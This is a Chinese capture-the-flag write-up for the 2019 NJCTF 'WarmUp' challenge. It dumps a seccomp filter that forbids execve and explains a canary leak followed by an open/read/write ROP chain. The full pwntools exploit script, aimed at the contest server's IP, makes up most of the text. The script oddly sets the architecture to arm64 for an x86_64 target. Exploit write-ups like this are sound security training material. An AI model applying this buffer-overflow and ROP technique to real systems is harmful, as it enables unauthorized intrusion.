2019 NJCTF WarmUp
一道沙箱题
主函数:
seccom 函数中做了一些沙箱规则,看不懂不要紧,直接使用 seccom 进行 dump 出规则。
参考:https://www.anquanke.com/post/id/186447#h2-15
- 使用方法:
ubuntu@VM-0-3-ubuntu:~/h4lo$ seccomp-tools dump -c ./warm_up
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
很清楚看到这里限制了 execve 函数的调用,那么可以使用 open、read、write 进行读取 flag 的操作,可以参考 pwnable.tw orw 题目。
溢出点
溢出点在下一个函数,这个函数存在 canary 保护,两个溢出点,那么很明显第一个使用覆盖低字节的方法进行泄露出 canary ,第二次构造 rop 即可。
注意点
- 注意这里调用 open 函数时,第一个参数是一个指针类型,不是字符串!!!所以这里将 ‘flag’ 字符串放在栈上之后,还要泄露一次栈地址(前面泄露 canary 时可以一并泄露),然后 read 函数的第一个参数为 3(固定)即可,read 第二个参数放在栈上即可。
系统调用表在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h
中(64 位)
exp
from pwn import *
context.arch="arm64"
#r = process("./warm_up")
r = remote("139.129.76.65", 50007)
elf = ELF("./warm_up")
libc = elf.libc
r.recv()
r.send("A"*0x18+'A')
r.recvuntil("A"*0x19)
canary = u64(r.recv(7).rjust(8,"\x00"))
success("canary: "+ hex(canary))
stack_addr = u64(r.recv(6).ljust(8,"\x00"))
success("stack_addr: " + hex(stack_addr))
payload = ""
payload += "A"*0x18+p64(canary)
payload += "B"*0x8
payload += p64(0x0000000000400B30)
r.send(payload)
sleep(0.2)
r.recv()
r.recv()
r.send('A'*0x40)
r.recvuntil("A"*0x40)
libc_addr = u64(r.recv(6).ljust(8,"\x00"))-0xf0-libc.symbols["__libc_start_main"]
success("libc_addr: " + hex(libc_addr))
r.recv()
payload = "A"*0x18
payload += p64(canary)
payload += "flag\x00\x00\x00\x00"
rop_chain = [
libc_addr+0x0000000000033544, # pop rax ; ret
2,
libc_addr+0x0000000000021102, # pop rdi ; ret
stack_addr-0x18,
libc_addr+0x00000000000202e8, # pop rsi ; ret
0,
libc_addr+0x000000000122198, # syscall
libc_addr+0x0000000000033544,
0,
#libc_addr+0x00000000000348fd, # push rax ; ret
libc_addr+0x0000000000021102, # pop rdi ; ret
3,
libc_addr+0x00000000000202e8, # pop rsi ; ret
libc_addr+libc.symbols['environ']-0xf8,
libc_addr+0x0000000000101ffc, # pop rdx ; pop rbx ; ret
0x40,
0,
libc_addr+0x000000000122198, # syscall
libc_addr+0x0000000000033544,
1,
libc_addr+0x0000000000021102, # pop rdi ; ret
1,
libc_addr+0x00000000000202e8,
libc_addr+libc.symbols['environ']-0xf8,
libc_addr+0x0000000000101ffc, # pop rdx ; pop rbx ; ret
0x40,
0,
libc_addr+0x000000000122198
#elf.plt['exit']
]
#print flat(rop_chain)
payload += flat(rop_chain)
pause()
r.send(payload)
r.interactive()